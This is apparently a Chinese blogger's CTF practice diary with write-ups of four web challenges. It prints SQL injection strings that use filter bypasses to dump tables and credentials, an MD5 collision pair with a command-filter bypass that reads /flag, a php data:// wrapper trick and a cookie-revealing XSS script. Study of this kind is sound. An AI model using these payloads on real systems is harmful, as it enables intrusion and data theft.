四月安全憋屈-3
liduoan.efls Engineer

2020.04.16

太他娘的憋屈了

为什么每一道题目都这么难。。

憋屈。立个目标顺序做题。老子不选题目了!

【不然没选一题就不会一题。憋屈死我了!

Jarvis OJ-IN A Mes

花了好久呜呜呜,太菜啦

不过我也已经打算一天一题,不求多!

一进去 日常审查

image

访问后发现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php

error_reporting(0);
echo "<!--index.phps-->";

if(!$_GET['id']) //不能为0
{
header('Location: index.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.')) //不能出现.
{
echo 'Hahahahahaha';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and //data值确定
$id==0 and //id=0
strlen($b)>5 and //b的长度大于5
eregi("111".substr($b,0,1),"1114") and //正则
substr($b,0,1)!=4) //函数
{
require("flag.txt");
}
else
{
print "work harder!harder!harder!";
}


?>

可以看的出

​ data的值 利用php伪协议a=data://text/plain;base64,MTExMiBpcyBhIG5pY2UgbGFiIQ==

​ id的值利用PHP弱类型 id = 0e

看一下函数

image

substr:这个函数很有名

它对于存在00截断的字符串 有着下面的操作

1
2
3
var_dump(substr('%00123',0,1));     //string(1) "" 
var_dump(substr('1%00123',0,1)); //string(1) "1"
//这里的有趣的地方在于 %00是占了字符的 但是又是空 ""

image

这里呢 正则在pattern,我们的被比较的字符串在第二个参数。

那么,我们就分析清楚了

那么综合上面说的,参数b的payload就出来了

b=%00111111

第一 字符数大于5 第二 1114 存在 111 第三 第一个字符为空不等于4

好的那么payload就应该为:

?id=0e&a=data://text/plain;base64,MTExMiBpcyBhIG5pY2UgbGFiIQ==&b=%00123322

访问后出现了

image

大概率目录 怎么也不像flag

访问————出现了hi666 还有url为/?id=1

访问666 出现————>SELECT * FROM content WHERE id=666

那么我们可以看看是不是

sql注入

看看注入天书。。。

首先 测试id=1# hi666 id=1--+ 不是hi666 ——>过滤了–+

id=1+# 报错 ——过滤空格 id=1/*2*/and/*2*/1=2 很好测试成功

那么 爆库 爆表 爆列 一般来说 flag都在本数据库内部

selselectect/*2*/group_concat(table_name)/*2*/frofromm/*2*/information_schema.tables/*2*/where/*2*/table_schema=database()

中途遇到了过滤 尝试了双写可以绕过

得到了表名 只有一个 content ——爆列

d=-1/*2*/ununionion/*2*/selselectect/*2*/1,2,(selselectect/*2*/group_concat(column_name)/*2*/frofromm/*2*/information_schema.columns/*2*/where/*2*/table_name=0x636f6e74656e74)

这里的时候 第一次没有过 测试之后 应该是表名被过滤了

利用十六进制绕过 https://www.sojson.com/hexadecimal.html

得到列名

id=-1/*2*/ununionion/*2*/selselectect/*2*/1,2,(selselectect/*2*/group_concat(context)/*2*/frofromm/*2*/content)

最后得到flag。

总结一下

其实整体上并不难不是吗?

但是就是写不出 sql注入 emm很简单的绕过确实

%00 是我对php字符理解不到位。

2020.04.17

[极客大挑战 2019]LoveSQL

整理整理payload

爆出表名

select+group_cooncat(table_name)+from+information_schema.tables+where+table_schema=database()

爆出列名

select/*2*/group_concat(column_name)/*2*/from/*2*/information_schema.columns/*2*/where/*2*/table_name=geekuser

爆出值

select+group_concat(id,0x3a,username,0x3a,password)+from+geekuser

这道题目 很基础 就是标准的注入步骤

我觉得 你要会开发 你的安全才懂得多一点

[安洵杯 2019]easy_web

首先 太强了!

一进去 看到url是http://2b4abd37-fbab-46d8-bfa1-6e68cfde5813.node3.buuoj.cn/index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=

img的值很像base64编码。所以我们直接测试

1
2
3
4
5
TXpVek5UTTFNbVUzTURabE5qYz0=
MzUzNTM1MmU3MDZlNjc=
3535352e706e67 //这里是16进制 我每次都没想到
555.png

那么很可能是这样转换获取文件的 network里data也是这样

那么尝试读取一下index.php

1
2
3
4
index.php
696e6465782e706870
Njk2ZTY0NjU3ODJlNzA2ODcw
TmprMlpUWTBOalUzT0RKbE56QTJPRGN3

然后查看源码 我们解码可以看到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
//两个参数都存在
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
//file文件名字处理
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));
//不允许文件名中有[]存在
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
//不允许直接读取文件
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
//字符串不等 MD5值相等
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`; //反引号命令执行
} else {
echo ("md5 is funny ~");
}
}

?>
<html>
<style>
body{
background:url(./bj.png) no-repeat center center;
background-size:cover;
background-attachment:fixed;
background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

这里我们的利用点在反引号命令执行

第一、MD5强相等

看人家wp的

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2

b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

第二、命令执行绕过

命令执行 ,就不要想着写代码了

它这个强制过滤,以往都是利用

1
2
ca''t
ca/t

这题还有一个厉害的解法

sort /flag

结合一下过滤的函数来学习下命令

ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh

查看文件

more less head tail cat

那么我们的payload就出来了

1
2
3
POST /index.php?img=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3&cmd=ca\t+/flag HTTP/1.1

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2&=

总结:MD5强匹配 命令执行绕过

2020.04.19

[BJDCTF 2nd]xss之光

考点:git泄露 反序列化xss

首先 xss

其次反序列化我明白

再其次git泄露很明显

一进去啥也没有,扫一扫

存在git泄露,那么githack

查看源码

1
2
3
4
<?php
$a = $_GET['yds_is_so_beautiful'];
echo unserialize($a);
?>

这里要知道一点,没有可利用的类进行反序列化

那么我们只能原生类进行反序列化。

题目要求xss。

https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html#_label2

看看如何使用xss

image

很好不是吗。xss一般都是人家的cookie进行盗取

那么我们的xss代码就是

1
<script>alert(document.cookie)</script>

之后就弹出来了。

我这里xss不太明白。需要学习学习——>XSS篇